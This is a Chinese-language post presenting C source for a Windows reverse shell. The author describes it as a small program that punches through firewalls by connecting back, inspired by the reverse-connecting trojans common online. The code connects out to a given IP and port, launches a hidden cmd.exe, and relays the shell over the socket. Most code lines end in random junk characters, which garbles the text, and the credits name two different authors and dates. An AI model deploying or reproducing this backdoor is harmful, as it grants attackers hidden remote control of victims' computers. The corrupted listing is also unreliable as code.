Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -4
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/* ============================== {Rz(0oD\  
Rebound port in Windows NT cB6LJ}R  
By wind,2006/7 $EnBigb!  
===============================*/ AQGl}%k_  
#include XI>HC'.0  
#include $}JWJ\-]  
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#pragma comment(lib,"wsock32.lib") f+%s.[;A  
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void OutputShell(); 7n[0)XR>  
SOCKET sClient; @Yw>s9X  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ID~}pEQ  
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void main(int argc,char **argv) &S=xSs:q.  
{ gn:&akg  
WSADATA stWsaData; P>hR${
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int nRet; Hyb_>n  
SOCKADDR_IN stSaiClient,stSaiServer; fp?/Dg"49.  
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if(argc != 3) !}hG|Y6s  
{ ' 7H"ezt  
printf("Useage:\n\rRebound DestIP DestPort\n"); /pWKV>tjj  
return; h,ipQ>  
} &&7&/   
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WSAStartup(MAKEWORD(2,2),&stWsaData); 98*C/=^TH{  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^g=j`f[T  
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stSaiClient.sin_family = AF_INET; >W6?!ue_  
stSaiClient.sin_port = htons(0); r8>Qs RnU%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ub]s>aqy   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p^s:s-"f\  
{ ZKJhmk  
printf("Bind Socket Failed!\n"); u =lsH  
return; YJ}9VY<}1K  
} t8ORfO+  
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stSaiServer.sin_family = AF_INET;  V*W H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K$wxiGg8P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i,mZg+;w  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :Q}Zb,32  
{ &hJQHlyJM0  
printf("Connect Error!"); _
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return; -Np}<O`./  
} y?UB?2
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OutputShell(); RBpv40n0  
} zFr#j~L"  
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void OutputShell() Lb~' I=9D  
{ /H$:Q|T}  
char szBuff[1024]; A&V'WahC@I  
SECURITY_ATTRIBUTES stSecurityAttributes; P}w0=  
OSVERSIONINFO stOsversionInfo; 2>g!+p Ox  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MaZVGrcC  
STARTUPINFO stStartupInfo; 
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char *szShell; ,MUgww!.  
PROCESS_INFORMATION stProcessInformation; !`dMTW  
unsigned long lBytesRead; I7+yu>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7w}]9wCN?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jEm=A8q  
stSecurityAttributes.lpSecurityDescriptor = 0; juQ?k xOB  
stSecurityAttributes.bInheritHandle = TRUE; yJdkDVxYr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w& )ApfL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i^)JxEPr w  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qp-P[Tc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,"5xKF+cS  
stStartupInfo.wShowWindow = SW_HIDE; !?z"d  
stStartupInfo.hStdInput = hReadPipe; cRWYS[O?-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7 iQa)8,  
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GetVersionEx(&stOsversionInfo); v!#koqd1y.  
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switch(stOsversionInfo.dwPlatformId) @v/ 8}n  
{ |$[.X3i  
case 1: e\}'i-  
szShell = "command.com";
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break; 9O\yIL  
default: /d>Jkv  
szShell = "cmd.exe"; dB8 e  
break; @&GY5<&b  
} #e[igxwi  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HMw}pp:  
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send(sClient,szMsg,77,0); >:0^v'[  
while(1) =WK's8FB;8  
{ 7!~)a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |Ew&.fgz  
if(lBytesRead) oN,9#*PVL  
{ !T.yv5ge'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zANsv9R~  
send(sClient,szBuff,lBytesRead,0); tcD5"ALJ  
} V]/$ dJ  
else :/6u*HwZh  
{ >fp_$bjd  
lBytesRead=recv(sClient,szBuff,1024,0); VqS1n  
if(lBytesRead<=0) break; VP^{-mDph  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o97*3W]  
} &H%z1Lp  
} )Ut9k  
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return; !Hj 7|5  
}